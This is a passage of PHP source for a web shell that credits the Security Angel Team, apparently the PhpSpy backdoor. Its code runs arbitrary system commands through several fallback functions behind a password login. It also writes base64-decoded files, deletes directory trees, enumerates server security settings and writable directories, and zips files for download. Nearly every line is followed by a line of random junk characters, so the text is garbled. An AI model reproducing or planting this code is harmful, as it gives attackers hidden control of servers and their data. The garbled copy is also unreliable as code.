1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
      & i+ {/ G# G7 I& n$ f) e* {1 q
1272.                 13 => array('Administrator',$adminmail),
      
1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
      & T' H. D, q3 v( y
1274.                 15 => array('enable_dl',getcfg('enable_dl')),
      ( a3 n9 l( \, _% Q# ]  o6 a7 n5 N
1275.                 16 => array('display_errors',getcfg('display_errors')),
      
1276.                 17 => array('register_globals',getcfg('register_globals')),
      
1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
      # X# Z$ H3 v7 w2 B
1278.                 19 => array('memory_limit',getcfg('memory_limit')),
      6 c/ u# K7 Z/ u
1279.                 20 => array('post_max_size',getcfg('post_max_size')),
      
1280.                 21 => array('upload_max_filesize',$upsize),
      
1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
      
1282.                 23 => array('disable_functions',$dis_func),
      & k' Y  G: N% e" V+ o
1283.         );
      
1284. 
      $ J2 ]& U: S1 _0 ^; U
1285.         if($phpvarname) {
      ! A0 L2 F( q4 p0 X1 f; j
1286.                 m($phpvarname .' : '.getcfg($phpvarname));
      ; h+ C) ]5 P) a1 U/ m
1287.         }
      7 Z+ r3 q. I6 O4 g$ D# ~0 b( Y
1288. 
      / ~3 t" m2 K! l5 H$ A
1289.         formhead(array('title'=>'Server environment'));
      
1290.         makehide('action','phpenv');
      
1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
      ; k  [& a7 G) ~7 |0 q/ L
1292.         formfooter();
      / _/ ?- [) q: i7 }$ q
1293. 
      
1294.         $hp = array(0=> 'Server', 1=> 'PHP');
      
1295.         for($a=0;$a<2;$a++) {
      
1296.                 p('<h2>'.$hp[$a].' »</h2>');
      % }6 S. }5 P8 s" J+ X+ U* f' T
1297.                 p('<ul class="info">');
      % `4 F/ x' G% O+ L7 c
1298.                 if ($a==0) {
      8 x& |" |7 V  w4 M8 i1 k! i
1299.                         for($i=1;$i<=9;$i++) {
      / b( U. V" R% Q; H
1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
      
1301.                         }
      + R8 I: M& j  o
1302.                 } elseif ($a == 1) {
      ( J% Y# t. p5 R- c; D/ a" o
1303.                         for($i=10;$i<=23;$i++) {
      & `0 f5 j9 _( h9 S
1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
      
1305.                         }
      
1306.                 }
      
1307.                 p('</ul>');
      / B0 I& z) T( G9 U) N1 T+ I
1308.         }
      , C7 D1 L: }3 V; }1 e8 s
1309. }//end phpenv
      , f) c* k9 y; S: Q( u
1310. 
      
1311. else {
      
1312.         m('Undefined Action');
      
1313. }
      + A6 t5 {+ E1 h/ h9 s1 L8 H
1314. 
      8 C7 d# ], H& V8 \: A& v6 K: {
1315. ?>
      
1316. </td></tr></table>
      
1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
      . O3 G! G9 v& Q! @
1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
      3 ]! e$ g$ a0 g' q6 Y
1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
      8 w. ~# w: j7 A
1320. </div>
      
1321. </body>
      - f  x( z' r% X/ _! U" N$ z
1322. </html>
      
1323. 
      
1324. <?php
      
1325. 
      
1326. /*======================================================
      - j6 y3 b' ?- C9 X
1327. 函数库
      
1328. ======================================================*/
      
1329. 
      6 K9 N' l+ P; ^/ e- X# n5 f. Z2 t
1330. function m($msg) {
      
1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
      ( G1 V3 o1 ^+ P4 P
1332.         echo $msg;
      
1333.         echo '</div>';
      & o/ ~6 A% K8 \" |- l( E0 o
1334. }
      + t0 `$ q& U( ]; G# R% F
1335. function scookie($key, $value, $life = 0, $prefix = 1) {
      
1336.         global $admin, $timestamp, $_SERVER;
      
1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
      
1338.         $life = $life ? $life : $admin['cookielife'];
      1 {3 N# X) n7 c7 Z! S1 k
1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
      * E( f  o& C, w( ^" {# H
1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
        q9 c- s0 b) [
1341. }       
      * y- ?" y1 F! P  R2 Z' i' C9 a) }
1342. function multi($num, $perpage, $curpage, $tablename) {
      + M' P7 }# }+ `& B" R2 Y& M1 o
1343.         $multipage = '';
      
1344.         if($num > $perpage) {
      
1345.                 $page = 10;
      
1346.                 $offset = 5;
      ; B6 v+ Y8 s% h7 g
1347.                 $pages = @ceil($num / $perpage);
      
1348.                 if($page > $pages) {
      
1349.                         $from = 1;
      % w8 L6 @/ l3 s
1350.                         $to = $pages;
      
1351.                 } else {
      
1352.                         $from = $curpage - $offset;
      
1353.                         $to = $curpage + $page - $offset - 1;
      1 G5 M# P7 c* _" P! i
1354.                         if($from < 1) {
      
1355.                                 $to = $curpage + 1 - $from;
      8 m: v8 D" j; G8 X6 p
1356.                                 $from = 1;
        }+ H" M' ?$ M5 V! Q% u
1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
      
1358.                                         $to = $page;
      * @5 G  Z" l( s4 p8 t. J) K
1359.                                 }
      
1360.                         } elseif($to > $pages) {
      , e, ]6 j! h* d$ ]2 l
1361.                                 $from = $curpage - $pages + $to;
      
1362.                                 $to = $pages;
      
1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
      
1364.                                         $from = $pages - $page + 1;
      
1365.                                 }
      . A4 B+ q! J; Q5 R1 M1 w
1366.                         }
      
1367.                 }
      3 E2 s0 W4 F- F/ m6 [
1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
      3 t$ j- k+ `- j1 b3 n
1369.                 for($i = $from; $i <= $to; $i++) {
      ( W1 P  y4 }! ^  p- k9 X% [' L
1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
      
1371.                 }
      " Z* f1 U$ V& Q# x+ Y! T: m
1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
      6 L3 H5 Z0 {6 z. ?8 P; u0 \
1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
      4 K, O: Z) J% f: o+ W7 ]
1374.         }
      
1375.         return $multipage;
      
1376. }
      ' b' k8 h# K, n! ^6 v
1377. // 登陆入口
      
1378. function loginpage() {
      : N* A2 s# n( n0 x3 {  u
1379. ?>
      ! K0 ^) i* L1 j3 f7 ]0 S
1380.         <style type="text/css">
      
1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
      + r1 K/ n7 y5 W4 J+ y
1382.         </style>
      
1383.         <form method="POST" action="">
      % s" [4 b$ I7 U
1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
      
1385.         <input type="hidden" name="doing" value="login">
      
1386.         <input type="submit" value="Login">
      
1387.         </form>
      2 b3 w1 }) J/ Q9 t/ N# ^
1388. <?php
      
1389.         exit;
      % f8 W& T& O! D2 j
1390. }//end loginpage()
      & p/ ~" C- f, D7 b( L( D; y
1391. 
      " n3 `+ h- _0 z
1392. function execute($cfe) {
        v9 S9 f0 M' T: g- m
1393.         $res = '';
      
1394.         if ($cfe) {
      ( L5 w5 k$ a! L2 e/ p& L# _
1395.                 if(function_exists('exec')) {
      
1396.                         @exec($cfe,$res);
      
1397.                         $res = join("\n",$res);
      
1398.                 } elseif(function_exists('shell_exec')) {
      
1399.                         $res = @shell_exec($cfe);
      3 a* F; h; x2 v& a
1400.                 } elseif(function_exists('system')) {
      - F7 \2 R: n9 i' u- u: L1 O3 P
1401.                         @ob_start();
      
1402.                         @system($cfe);
      
1403.                         $res = @ob_get_contents();
      , w; x/ U. D2 w( @$ x5 s: w
1404.                         @ob_end_clean();
      
1405.                 } elseif(function_exists('passthru')) {
      
1406.                         @ob_start();
      
1407.                         @passthru($cfe);
      
1408.                         $res = @ob_get_contents();
      
1409.                         @ob_end_clean();
      
1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
      * n0 m. b- i, Q  P/ |$ Y
1411.                         $res = '';
      
1412.                         while(!@feof($f)) {
      7 T; X' O' ]- O/ Q& R+ A
1413.                                 $res .= @fread($f,1024);
      2 j2 o$ t) |! y
1414.                         }
      
1415.                         @pclose($f);
      
1416.                 }
      5 l9 d0 j) T( z! h6 ], M% Z
1417.         }
      ; X8 `, C0 {; J, w4 u' e; N$ \/ f' l
1418.         return $res;
      
1419. }
      
1420. function which($pr) {
      * Y4 S4 ~: j9 }% n8 j! D) a
1421.         $path = execute("which $pr");
      
1422.         return ($path ? $path : $pr);
      
1423. }
      3 ]2 W: R! _- h/ N" H
1424. 
      6 N- F7 w# l2 V3 g8 m9 v
1425. function cf($fname,$text){
      
1426.         if($fp=@fopen($fname,'w')) {
      
1427.                 @fputs($fp,@base64_decode($text));
      7 e- u4 F* w- [8 M' w% {
1428.                 @fclose($fp);
      # G' ]+ n: C6 h+ }; M! Y" w7 s: P
1429.         }
      & p; ]; e& S7 R7 E, U
1430. }
      
1431. 
      $ S1 ^( T7 Y5 `% H  i
1432. // 页面调试信息
      ' e/ ^; m% V  v3 x0 u, {
1433. function debuginfo() {
      
1434.         global $starttime;
      
1435.         $mtime = explode(' ', microtime());
      $ [# B0 L* m: w- T
1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
      
1437.         echo 'Processed in '.$totaltime.' second(s)';
      
1438. }
      
1439. 
      
1440. //连接数据库
      6 v1 d& P  B- G0 @$ U
1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
      , o9 f0 q) X: M
1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
      
1443.                 p('<h2>Can not connect to MySQL server</h2>');
      $ z+ `3 O; ~! o" r& P- \
1444.                 exit;
      
1445.         }
      
1446.         if($link && $dbname) {
      
1447.                 if (!@mysql_select_db($dbname, $link)) {
      " U( n* c/ C+ B9 M* ^! T
1448.                         p('<h2>Database selected has error</h2>');
      1 H& y- N+ f' a  U
1449.                         exit;
      6 @. v7 S: z8 d! |
1450.                 }
      
1451.         }
      
1452.         if($link && mysql_get_server_info() > '4.1') {
      
1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
      
1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
      0 F$ @2 n% I$ i, X) C$ K! e, ^, o
1455.                 }
      
1456.         }
      . ^" t0 ^. W2 t2 l# e; _& f
1457.         return $link;
      ( |3 H8 Z- \1 m1 ]& d
1458. }
      
1459. 
      
1460. // 去掉转义字符
      
1461. function s_array(&$array) {
      
1462.         if (is_array($array)) {
      
1463.                 foreach ($array as $k => $v) {
      9 {% Z9 f& }8 j8 `+ \  s, y
1464.                         $array[$k] = s_array($v);
      ! ?$ m4 O/ e8 P' A- y" Y
1465.                 }
      * B3 [8 ?6 P* }- I, Y& j' B
1466.         } else if (is_string($array)) {
      
1467.                 $array = stripslashes($array);
      4 Z, i& \2 T1 C1 q; _
1468.         }
      
1469.         return $array;
      , m/ _' K( O7 d9 A7 v6 c- T0 g7 u+ K$ R
1470. }
      ) |" I/ K: D& ]9 `
1471. 
      " {6 L5 u; P: r2 H/ t
1472. // 清除HTML代码
      , z* b( \1 [, j9 {$ H
1473. function html_clean($content) {
      
1474.         $content = htmlspecialchars($content);
      1 M; G2 R  u3 }/ p/ v  F
1475.         $content = str_replace("\n", "<br />", $content);
      
1476.         $content = str_replace("  ", "  ", $content);
      
1477.         $content = str_replace("\t", "    ", $content);
      , H3 t. [& z$ _, c" o
1478.         return $content;
      
1479. }
      
1480. 
      / H) w0 \- C# P8 J- ?" N4 P; Y5 t  U# V
1481. // 获取权限
      1 V3 C6 p* ~. R4 s3 a) L+ e$ w
1482. function getChmod($filepath){
      + {8 d4 [/ X3 w0 ?
1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);
      
1484. }
      
1485. 
      
1486. function getPerms($filepath) {
      
1487.         $mode = @fileperms($filepath);
      
1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}
      
1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
      5 d+ d7 N& ~! ]. N% [1 g8 m. W
1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
      
1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
      $ L: _: N8 x0 i8 x
1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
      5 w$ k! d! }# h, C9 g. H; X) c
1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
      $ I. X* _2 c' A& t; Q7 W4 [. j
1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
      
1495.         else {$type = '?';}
      
1496. 
      
1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-';
      % q5 D% F1 g9 R* Q
1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
      0 u; [! J7 x: K# J. [; a% \. m
1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-';
      ; ^: b* G1 ?( t
1500.         $group['read'] = ($mode & 00040) ? 'r' : '-';
      " J7 N' ^; A+ _
1501.         $group['write'] = ($mode & 00020) ? 'w' : '-';
      0 X& E0 t7 Y: v0 Q0 |( U( @; Z
1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
      
1503.         $world['read'] = ($mode & 00004) ? 'r' : '-';
      , m5 x7 r) X8 J3 n0 r6 H$ u
1504.         $world['write'] = ($mode & 00002) ? 'w' : '-';
      
1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-';
      
1506. 
      - q+ ]+ y, j; S7 ?
1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
      
1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
      
1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
      + b) T$ e0 I7 h3 L1 V, i5 t* h
1510. 
      
1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
      2 f  j& o* ?% G0 {& i
1512. }
      $ u' m' }) k% y' z) h
1513. 
      % p$ V) A* [# _: a& M% A
1514. function getUser($filepath)        {
      ' g1 r- _# N3 V. p* [1 I
1515.         if (function_exists('posix_getpwuid')) {
      ; v. B  `0 f$ \$ c8 z3 B% R0 M! n
1516.                 $array = @posix_getpwuid(@fileowner($filepath));
      
1517.                 if ($array && is_array($array)) {
      
1518.                         return ' / <a href="#" title="User: '.$array['name'].'
      
1519. Passwd: '.$array['passwd'].'
      2 q* K! h1 d$ l6 j- ^1 b
1520. Uid: '.$array['uid'].'
      : H& C; L* r1 S. K! ]
1521. gid: '.$array['gid'].'
      5 f$ @6 N, l7 L& t: j/ [& |) `
1522. Gecos: '.$array['gecos'].'
      ' n% U5 f1 C' I) ~$ P' @
1523. Dir: '.$array['dir'].'
      
1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';
      : n+ A( H) R5 i% I6 U3 S
1525.                 }
      , E7 m  v( [7 N' H, z6 f
1526.         }
      * ]5 Z# P* R  Q  Z, @
1527.         return '';
      
1528. }
      ( v6 u5 o& o, p$ D, m
1529. 
      # m1 b$ Y8 k) |& k
1530. // 删除目录
      $ b1 L! q- f- {1 _
1531. function deltree($deldir) {
      
1532.         $mydir=@dir($deldir);       
      
1533.         while($file=$mydir->read())        {                
      ! r) t8 Z0 ~2 R; o$ s9 Y  E& Y! ]9 o
1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
      
1535.                         @chmod($deldir.'/'.$file,0777);
      
1536.                         deltree($deldir.'/'.$file);
      
1537.                 }
      
1538.                 if (is_file($deldir.'/'.$file)) {
      ' B3 w. m5 P  U1 q8 p% }6 |# v% L3 F
1539.                         @chmod($deldir.'/'.$file,0777);
      
1540.                         @unlink($deldir.'/'.$file);
      # }9 u! [  u4 [9 v" t
1541.                 }
      
1542.         }
      
1543.         $mydir->close();
      2 |# j, X6 A1 i
1544.         @chmod($deldir,0777);
      
1545.         return @rmdir($deldir) ? 1 : 0;
      
1546. }
      
1547. 
      : A# o9 \( u  D& @: `' i
1548. // 表格行间的背景色替换
      7 g% e) a. ^- a' E5 W2 h6 {/ M3 y
1549. function bg() {
      3 ~: p( ?8 b- }9 z% A+ g
1550.         global $bgc;
      
1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';
      
1552. }
      / x, B5 P, t8 |' I" A4 j8 M
1553. 
      
1554. // 获取当前的文件系统路径
      ) ]. Y5 Z$ c9 r6 `$ _0 l: R
1555. function getPath($scriptpath, $nowpath) {
      + T- y- b( U9 c4 U( C9 k
1556.         if ($nowpath == '.') {
      
1557.                 $nowpath = $scriptpath;
      6 ^3 m; G0 V2 [  r
1558.         }
      * ^2 ?" F# ^" D
1559.         $nowpath = str_replace('\\', '/', $nowpath);
      
1560.         $nowpath = str_replace('//', '/', $nowpath);
      
1561.         if (substr($nowpath, -1) != '/') {
      
1562.                 $nowpath = $nowpath.'/';
      
1563.         }
      
1564.         return $nowpath;
      
1565. }
      & Q, c/ j2 M5 B
1566. 
      / X  t' o3 Z, f
1567. // 获取当前目录的上级目录
      
1568. function getUpPath($nowpath) {
      
1569.         $pathdb = explode('/', $nowpath);
      
1570.         $num = count($pathdb);
      
1571.         if ($num > 2) {
      + l% J0 v) C3 O2 v7 ?- w7 n# R# t( C
1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);
      # O- ]2 ~$ m" `! d+ \& z) `/ O
1573.         }
      
1574.         $uppath = implode('/', $pathdb).'/';
      
1575.         $uppath = str_replace('//', '/', $uppath);
      % |+ }' u+ Z, [9 ~
1576.         return $uppath;
      
1577. }
      
1578. 
      3 l$ \2 L' Q/ a$ p  R$ ]  p
1579. // 检查PHP配置参数
      4 ]! g1 y  C; i
1580. function getcfg($varname) {
      0 q* D1 y  v! O4 C% t  y, C
1581.         $result = get_cfg_var($varname);
      ( C+ |9 \/ \4 \7 t' W+ x& z( ?
1582.         if ($result == 0) {
      ( e5 u$ d! l4 r$ K; N; D" c
1583.                 return 'No';
      
1584.         } elseif ($result == 1) {
      8 m& d! @- C: L8 w$ l2 A; F& A
1585.                 return 'Yes';
      
1586.         } else {
      
1587.                 return $result;
      
1588.         }
      
1589. }
      7 B5 i4 [3 N- W8 n  d! h9 y& [2 p8 b
1590. 
      1 D2 ]# K% u3 e
1591. // 检查函数情况
      ) q6 R1 M) Y/ I! {* P0 K
1592. function getfun($funName) {
      ' `' f# C" E' ?" Z- z
1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';
      ( e! }+ p$ y5 e& g) j& ?( }0 \: q
1594. }
      
1595. 
      % o6 W+ z0 z3 p* e$ w3 Z4 N: `& j
1596. function GetList($dir){
      8 I' J: z# a7 c* q: [! k
1597.         global $dirdata,$j,$nowpath;
      
1598.         !$j && $j=1;
      
1599.         if ($dh = opendir($dir)) {
      0 Z2 K* v+ g" p" W; ^6 R  {
1600.                 while ($file = readdir($dh)) {
      
1601.                         $f=str_replace('//','/',$dir.'/'.$file);
      7 G7 T& r, Z1 E8 X$ m# W  }
1602.                         if($file!='.' && $file!='..' && is_dir($f)){
      
1603.                                 if (is_writable($f)) {
      
1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
      5 y0 A: u) ?5 I0 _1 c+ k
1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
      
1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);
      ) D, c* l' P6 j0 }7 D. ^1 k
1607.                                         $dirdata[$j]['dirperm']=getPerms($f);
      
1608.                                         $dirdata[$j]['dirlink']=ue($dir);
      
1609.                                         $dirdata[$j]['server_link']=$f;
      
1610.                                         $dirdata[$j]['client_link']=ue($f);
      * Y7 A1 X/ |& J4 t
1611.                                         $j++;
      
1612.                                 }
      
1613.                                 GetList($f);
      
1614.                         }
        G% f+ U% r" i
1615.                 }
      
1616.                 closedir($dh);
        ]" h7 E) K8 K: k
1617.                 clearstatcache();
      
1618.                 return $dirdata;
      : e  m1 `! ?6 l2 z7 E' v& f
1619.         } else {
      . B: M, z+ q/ W* L$ T$ d1 _
1620.                 return array();
      
1621.         }
      ( k7 q( l4 c" x% F
1622. }
      : f2 F) F/ K- Z
1623. 
      
1624. function qy($sql) {
      0 c* P/ t5 B  Z4 _
1625.         //echo $sql.'<br>';
      # H- W) C8 i3 B$ [. k  F
1626.         $res = $error = '';
      
1627.         if(!$res = @mysql_query($sql)) {
      
1628.                 return 0;
      4 {) N- I. K* s/ M  l
1629.         } else if(is_resource($res)) {
      ; {* P& P  ?1 q+ ^0 |  g, Z$ i6 Q
1630.                 return 1;
      
1631.         } else {
      
1632.                 return 2;
      
1633.         }       
      ! e; X5 C8 d1 p' n
1634.         return 0;
      / p+ T( m% N$ N% {
1635. }
      
1636. 
      , w; [- S9 A. X5 k4 k0 K, R
1637. function q($sql) {
      
1638.         return @mysql_query($sql);
      " o! F1 r. [6 m
1639. }
      8 Q4 P1 @, z: p3 }7 ~/ C/ r' E
1640. 
      / r2 N" u9 z2 J/ w4 n2 K0 C
1641. function fr($qy){
      
1642.         mysql_free_result($qy);
      ) j8 Q# n2 m4 k# U- S0 B5 g* m
1643. }
      
1644. 
      8 p: g% v' S# F( b, P1 p" ^- \
1645. function sizecount($size) {
      . h4 m+ ~) x7 u; N
1646.         if($size > 1073741824) {
      
1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';
      
1648.         } elseif($size > 1048576) {
      
1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';
      $ |' h( z9 K6 j) l
1650.         } elseif($size > 1024) {
      
1651.                 $size = round($size / 1024 * 100) / 100 . ' K';
      + t+ `$ j7 t; V+ t1 _
1652.         } else {
      
1653.                 $size = $size . ' B';
      / ?  F6 s( R4 g" _7 ^* _9 R
1654.         }
      ; T1 k  a, o' I& W6 t
1655.         return $size;
      ' P# q3 j, M. p) D$ v
1656. }
      * s+ |( g6 ~/ @, l9 w; W
1657. 
      
1658. // 压缩打包类
      ; ~) P, T$ A7 w0 v* [
1659. class PHPZip{
      
1660.         var $out='';
        c$ E; S2 u4 T( `
1661.         function PHPZip($dir)        {
      
1662.                 if (@function_exists('gzcompress'))        {
      / U5 K5 A6 X8 k6 o
1663.                         $curdir = getcwd();
      
1664.                         if (is_array($dir)) $filelist = $dir;
      7 t) a. z# N) j# a: ]/ k3 T
1665.                         else{
      - b  n* o1 y7 L9 |% G. I
1666.                                 $filelist=$this -> GetFileList($dir);//文件列表
      * n# J+ m9 _/ a% O( n! T% x2 u
1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
      * g6 q( a0 r& L
1668.                         }
      
1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
      
1670.                         else chdir($curdir);
        y9 B* }5 Y1 X+ W& V/ W
1671.                         if (count($filelist)>0){
      
1672.                                 foreach($filelist as $filename){
      # y9 N3 b- [' M3 E% f* I, ~
1673.                                         if (is_file($filename)){
      4 L- r6 {: V8 `1 q
1674.                                                 $fd = fopen ($filename, 'r');
      
1675.                                                 $content = @fread ($fd, filesize($filename));
      
1676.                                                 fclose ($fd);
      
1677.                                                 if (is_array($dir)) $filename = basename($filename);
      
1678.                                                 $this -> addFile($content, $filename);
      
1679.                                         }
      
1680.                                 }
      
1681.                                 $this->out = $this -> file();
      
1682.                                 chdir($curdir);
      
1683.                         }
      ; n) F% z5 x8 {! w  p+ v
1684.                         return 1;
      % }* h! f" U6 u0 [/ G
1685.                 }
      
1686.                 else return 0;
      
1687.         }
      - h  `# Y2 ?1 c2 ~5 i
1688. 
      
1689.         // 获得指定目录文件列表
      
1690.         function GetFileList($dir){
      
1691.                 static $a;
      " X5 m- ?2 O( x4 o$ R
1692.                 if (is_dir($dir)) {
      
1693.                         if ($dh = opendir($dir)) {
      
1694.                                 while ($file = readdir($dh)) {
      
1695.                                         if($file!='.' && $file!='..'){
      & x. ~+ K  G) f( a2 H" W7 A
1696.                                                 $f=$dir .'/'. $file;
      ; N9 O0 R. H# \5 `& {
1697.                                                 if(is_dir($f)) $this->GetFileList($f);
      
1698.                                                 $a[]=$f;
      
1699.                                         }
      & V6 v7 W! d4 a$ M( e# i
1700.                                 }
      
1701.                                 closedir($dh);
      , P( V0 L2 s4 v  B- ^, w
1702.                         }
      
1703.                 }
      2 J" q% I( d- W$ W0 a
1704.                 return $a;
      
1705.         }
      
1706. 
      7 V3 U4 Z6 f7 q" b4 B
1707.         var $datasec      = array();
      
1708.         var $ctrl_dir     = array();
      
1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
      
1710.         var $old_offset   = 0;
      
1711. 
      
1712.         function unix2DosTime($unixtime = 0) {
      8 f; Z( {, y2 E4 z3 F  ^' i$ m
1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
      
1714.                 if ($timearray['year'] < 1980) {
      
1715.                         $timearray['year']    = 1980;
      
1716.                         $timearray['mon']     = 1;
      
1717.                         $timearray['mday']    = 1;
      # D8 j; K; t/ K" B  O. d5 T
1718.                         $timearray['hours']   = 0;
      
1719.                         $timearray['minutes'] = 0;
      ' K9 ^1 L, l/ v/ P5 g6 B# b' F
1720.                         $timearray['seconds'] = 0;
      
1721.                 } // end if
      / s. |0 Y0 s8 k3 P
1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
      
1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
      
1724.         }
      
1725.         function addFile($data, $name, $time = 0) {
      
1726.                 $name = str_replace('\\', '/', $name);
      # f8 T$ p+ x; q: s( S! M6 C
1727.                 $dtime = dechex($this->unix2DosTime($time));
      
1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]
      # j  T* x, y0 H: i7 F+ o
1729.                                         . '\x' . $dtime[4] . $dtime[5]
      
1730.                                         . '\x' . $dtime[2] . $dtime[3]
      9 [$ c+ y; [0 P
1731.                                         . '\x' . $dtime[0] . $dtime[1];
      
1732.                 eval('$hexdtime = "' . $hexdtime . '";');
      
1733.                 $fr        = "\x50\x4b\x03\x04";
      8 i3 ^  b9 O, p3 g
1734.                 $fr        .= "\x14\x00";
      
1735.                 $fr        .= "\x00\x00";
      
1736.                 $fr        .= "\x08\x00";
      ' }4 t1 L) H% Q& `
1737.                 $fr        .= $hexdtime;
      
1738.                 $unc_len = strlen($data);
      % e, U! Q4 c6 r# [8 ^
1739.                 $crc = crc32($data);
      % H! }0 o: D" |- B2 e$ M
1740.                 $zdata = gzcompress($data);
      
1741.                 $c_len = strlen($zdata);
      
1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
      4 h8 k) e5 \- D
1743.                 $fr .= pack('V', $crc);
      0 h$ J3 u0 E4 z' G7 c
1744.                 $fr .= pack('V', $c_len);
      
1745.                 $fr .= pack('V', $unc_len);
      
1746.                 $fr .= pack('v', strlen($name));
      
1747.                 $fr .= pack('v', 0);
      " ?) Y5 F, U/ A/ q- r3 ]$ ?" z. `& ?
1748.                 $fr .= $name;
      
1749.                 $fr .= $zdata;
      
1750.                 $fr .= pack('V', $crc);
      
1751.                 $fr .= pack('V', $c_len);
      % _+ X- `+ Q6 E4 C
1752.                 $fr .= pack('V', $unc_len);
      
1753.                 $this -> datasec[] = $fr;
      
1754.                 $new_offset = strlen(implode('', $this->datasec));
      
1755.                 $cdrec = "\x50\x4b\x01\x02";
      
1756.                 $cdrec .= "\x00\x00";
      9 A, Q7 K9 B4 o
1757.                 $cdrec .= "\x14\x00";
      * E5 ^9 i1 i' v, i) C
1758.                 $cdrec .= "\x00\x00";
      
1759.                 $cdrec .= "\x08\x00";
      
1760.                 $cdrec .= $hexdtime;
      
1761.                 $cdrec .= pack('V', $crc);
      ' L& b/ m  D" q6 n8 e
1762.                 $cdrec .= pack('V', $c_len);
      7 X% V4 Z& \9 N4 J
1763.                 $cdrec .= pack('V', $unc_len);
      
1764.                 $cdrec .= pack('v', strlen($name) );
      8 \1 j. g6 D0 C! {$ J/ O0 r7 Y1 g$ {
1765.                 $cdrec .= pack('v', 0 );
      
1766.                 $cdrec .= pack('v', 0 );
      
1767.                 $cdrec .= pack('v', 0 );
      
1768.                 $cdrec .= pack('v', 0 );
      $ I: e& @2 P" E; ^6 Q3 x% E+ _
1769.                 $cdrec .= pack('V', 32 );
      
1770.                 $cdrec .= pack('V', $this -> old_offset );
      
1771.                 $this -> old_offset = $new_offset;
      
1772.                 $cdrec .= $name;
      ) H9 k5 F! i* A  e8 H
1773.                 $this -> ctrl_dir[] = $cdrec;
      
1774.         }
      
1775.         function file() {
      
1776.                 $data    = implode('', $this -> datasec);
